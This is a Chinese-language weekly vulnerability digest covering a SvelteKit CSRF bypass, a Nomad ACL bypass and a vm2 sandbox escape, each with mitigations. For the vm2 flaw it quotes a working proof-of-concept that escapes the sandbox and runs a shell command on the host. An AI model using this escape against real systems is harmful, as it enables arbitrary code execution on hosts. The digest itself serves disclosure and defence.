在本周的文摘中,我们将讨论以下内容:
- SvelteKit中的一个CSRF保护绕过;
- vm2版本中的沙盒逃生;以及
- HashiCorp Nomad和Nomad Enterprise的一个未经认证的ACL授权绕过,导致特权升级。
cve-2023-29003:SvelteKit:使用Content-Type头绕过CSRF保护
背景介绍
SvelteKit 是一个使用Svelte JavaScript库构建Web应用程序的框架。它通过包括服务器端渲染、路由和基于文件的页面路由等功能,提供了一个简化的开发体验,开箱即用。
脆弱性
由于跨站请求伪造(CSRF)保护不足,该漏洞(CVE-2023-29003)影响到1.15.1以下的SvelteKit版本。在SvelteKit 1.15.1之前,CSRF保护在满足三个条件的情况下执行:(1)请求是一个POST,(2)网站起源和请求的起源HTTP头之间不匹配,(3)请求是否包含表单内容,由Content-Type Header "application/x-www-form-urlencoded" 或 "multipart/form-data" 表示。
如果所有这些条件都满足,将发送一个403 Forbidden请求的响应。这种检查可以通过在请求中使用不同的内容类型来绕过,如 "text/plain"。
缓解
- 该漏洞已在SvelteKit 1.15.1版本中得到解决。升级到最新版本是修复这个问题的推荐方法。
CVE-2023-29199: vm2:源代码转换器中的沙箱逃逸
背景介绍
vm2 是一个Node.js 模块,为以安全方式执行不受信任的代码提供了一个沙箱环境。它允许创建隔离的执行环境,攻击者可以在其中执行不受信任的代码,而不能访问全局环境或敏感数据。
脆弱性
该漏洞依赖于vm2的源代码转换程序的净化逻辑中的一个异常。该漏洞允许攻击者绕过handleException()函数,并泄露未经消毒的主机异常,为攻击者逃脱沙盒并在主机环境中运行任意代码打开了大门。
GitHub用户leesh3288做了一个概念验证来利用这个漏洞,这表明代码在主机环境下是多么容易被执行:
const {VM} = require("vm2");
const vm = new VM();
const code = `
aVM2_INTERNAL_TMPNAME = {};
function stack() {
new Error().stack;
stack();
}
try {
stack();
} catch (a$tmpname) {
a$tmpname
.constructor
.constructor('return process')()
.mainModule.require('child_process')
.execSync('touch pwned');
}
`
console.log(vm.run(code));
缓解
- 该漏洞已在vm2 3.9.16版本中解决。升级到最新版本是修复这个问题的推荐方法。
CVE-2023-1782: HashiCorp Nomad: 未经认证的 ACL 绕过特权升级
背景介绍
HashiCorp Nomad 是一个容器协调平台,使用户能够在各种环境中轻松部署和管理应用程序,包括数据中心、云和边缘位置。它提供了自动部署、扩展和自我修复等功能,以及对多种容器运行时间和调度算法的支持。
脆弱性
这个漏洞的具体细节不多。然而,根据研究人员的报告,只要在服务器上通过内部RPCs处理请求,未经认证的HTTP请求就可以绕过预定的ACL授权。这个漏洞影响到HashiCorp Nomad和HashiCorp Nomad Enterprise的1.5.0至1.5.2版本。
缓解
- 这个漏洞可以通过在其主机集群上启用mTLS来补救。
- 这个漏洞已经在HashiCorp Nomad 1.5.3版本中得到解决。升级到最新版本是修复这个问题的推荐方法。
注释